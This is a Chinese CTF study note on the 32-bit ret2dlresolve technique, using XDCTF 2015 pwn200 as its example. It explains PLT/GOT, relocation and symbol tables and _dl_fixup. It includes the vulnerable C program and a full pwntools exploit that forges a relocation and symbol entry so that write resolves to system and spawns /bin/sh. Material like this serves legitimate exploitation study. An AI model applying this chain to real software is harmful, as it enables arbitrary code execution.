ret2dlslove(32位)
阶段2(Partial RELRO)
-
条件:Partial relro
即:dynamic段只可读 -
IDA查看各表信息(各程序各表地址不同,下面图仅用于认识个表)
- sym表(dynsym)
- Reloc表(.rel.plt)
-
_dl_runtime_resolve函数
-
我们初始时看到的plt表(IDA中)与实际调试时的plt表(pwndbg)
.plt:08049020 push ds:dword_804C004 .plt:08049026 jmp ds:dword_804C008 .plt:08049026 sub_8049020 endp .plt:08049026 .plt:08049026 ; ------------------------------------------------------------------ .plt:08049030 ; [00000006 BYTES: COLLAPSED FUNCTION _read. PRESS CTRL-NUMPAD+ TO EXPAND] .plt:08049036 ; ------------------------------------------------------------------ .plt:08049036 push 0 .plt:0804903B jmp sub_8049020
0x8049030 (read@plt) ◂— jmp dword ptr [0x804c00c] 0x8049036 (read@plt+6) ◂— push 0 /* 'h' */ 0x804903b (read@plt+11) ◂— jmp 0x8049020
其中分别代表的信息是:
- 0x804c00c:read函数的got表
- 0x8049020:plt的开始处,是第一个plt表,也叫plt[0]
- 0x804C008:_dl_runtime_resolve函数的got表
- 0x804C004:link_map地址
根据32位程序传参机制,正常流程的库函数调用,途中相当于调用了函数
_dl_runtime_resolve(link_map,reloc_arg)
- sym表(dynsym)
-
知识小补充:
.got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt。.got.plt对应着Elf32_Rel结构中r_offset的值
查看Relocation 的.rel.plt和.rel.dyn的info和offset
readelf -r xxx
就是查看reloc表,IDA中同样可以查看
-
例: 2015-XDCTF-pwn200
//gcc -fno-stack-protector -m32 -z relro -no-pie rof.c -o parelro_x64 #include <unistd.h> #include <stdio.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }
本文没有一步一步来,直接到最终阶段,前3部分参照ctfwiki
实验1:利用dlreslove来调用write
实验2:将write_reloc_offset写成我们伪造的部分,伪造在base_stage+0x24处
实验3:进一步伪造rel.plt、sym和dynstr
三个表重要的内容:
-
rel.plt:
typedef struct{ Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址 Elf32_Word r_info; // 符号表索引 }Elf32_Rel;
包含两个信息
-
一个got表的地址
-
一个是偏移,偏移的计算方式为:(sym表项地址 - sym表头地址)/16<<8|7
例如本例write:(0x804822C-0x80481CC)/16<<8|7=0x607
-
-
sym:
typedef struct { Elf32_Word st_name; // Symbol name(string tbl index) Elf32_Addr st_value; // Symbol value Elf32_word st_size; // Symbol size unsigned char st_info; // Symbol type and binding unsigned char st_other; // symbol visibility under glibc>=2.2 Elf32_Section st_shndx; // Section index }Elf32_Sym;
即我们IDA中可以看到的sym表内容
其中第一项st_name:String table表项地址 - String table表头地址
-
dynstr: String table
实验4(最终阶段):
- 将write字符串修改为 system 字符串
- 修改 write 的参数为 system 的参数
#程序参照wiki,略有修改 from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n') stack_size = 0x800 base_stage = bss_addr + stack_size rop.raw('a' * offset) rop.read(0, base_stage, 100) rop.migrate(base_stage) r.sendline(rop.chain()) rop = ROP('./main_partial_relro_32') sh = "/bin/sh" plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align #st_name为write在strtable的偏移 = write_strtab - strtab #sym表第4个参数保持不变,可在IDA中查到 st_name = fake_sym_addr + 0x10 - dynstr fake_write_sym = flat([st_name, 0, 0, 0x12]) #index_offset记录伪造的reloc_arg(dl函数第二个参数) #计算方式:reloc_arg + rel_plt = rel_plt->write(write在rel_plt表中的偏移) index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] #r_info=(sym表项地址 - sym表头地址)/16<<8|7 index_dynsym = (fake_sym_addr - dynsym) / 0x10 r_info = (index_dynsym << 8) | 0x7 #伪造的write的rel_plt表,将被填充到index_offset定位到的位置 fake_write_reloc = flat([write_got, r_info]) gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2)) #为什么能调用成功,因为在dlfix后返回值write地址存到eax,在之后便ret到了write #调用plt0,压入一个参数之后调用dlreslove rop.raw(plt0) #由于直接跳转到了plt0,所以_dl_runtime_resolve的一个参数并没有push进去 #所以'index_offset'是我们伪造的参数 #正常情况这个参数为plt中的push入栈的,决定了重定位哪个函数,之后会自动调用该函数 rop.raw(index_offset) rop.raw('bbbb') rop.raw(base_stage + 80) rop.raw('bbbb') rop.raw('bbbb') rop.raw(fake_write_reloc) rop.raw('a' * align) rop.raw(fake_write_sym) rop.raw('system\x00') rop.raw('a' * (80 - len(rop.chain()))) rop.raw(sh + '\x00') rop.raw('a' * (100 - len(rop.chain()))) print rop.dump() print len(rop.chain()) r.sendline(rop.chain()) r.interactive()
-
最终梳理
-
首先整理下dl_runtime_reslove机制
-
第一次调用库函数,跳转到plt表
-
plt表跳到got表,再跳回plt+6处,此指令压入dl_runtime_reslove第二个参数
-
跳转到plt0(plt的第一个表),此表为dl_runtime_reslove函数的plt表,首先压入link_map的地址,对应dl_runtime_reslove第一个参数,之后会对应执行dl_runtime_reslove函数体(通过跳转到got)
-
dl_runtime_reslove函数执行dl_fixup,根据各种表解析结果,将got表写入真实地址,并且执行对应函数
-
dl_fix函数执行流程
-
通过第二个参数找到
JMPREL
表中对应项,对应表项数据结构如下typedef struct{ Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址 Elf32_Word r_info; // 符号表索引 }Elf32_Rel;
-
根据r_info找到Symbol Table中对应表项,对应表项结构如下
typedef struct { Elf32_Word st_name; // Symbol name(string tbl index) Elf32_Addr st_value; // Symbol value Elf32_word st_size; // Symbol size unsigned char st_info; // Symbol type and binding unsigned char st_other; // symbol visibility under glibc>=2.2 Elf32_Section st_shndx; // Section index }Elf32_Sym;
-
校验r_info末位是否为7
-
以strtab基址 + write在strtab表中的偏移找到函数名(字符串)
-
根据函数名解析函数真实地址,并将真实地址写入got
-
-
-
然后是各种表
- Sym表:
ELF Symbol Table
- string表:
ELF String Table
- reloc表:
ELF JMPREL Relocation Table
- Sym表:
-
附上dl_fixup的部分源码分析,参考如下
#define D_PTR(map, i) (map)->i->d_un.d_ptr #define reloc_offset reloc_arg * sizeof (PLTREL) _dl_fixup(struct link_map *l,ElfW(Word) reloc_arg) { // 首先通过参数reloc_arg计算重定位的入口,为JMPREL表头地址+偏移reloc_offset const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); // 然后通过reloc->r_info找到Sym表中对应的条目,为Sym表首地址+偏移,偏移根据r_info计算 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7 assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT); // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址 result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); // value为libc基址加上要解析函数的偏移地址,也即实际地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0); // 最后把value写入相应的GOT表条目中 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }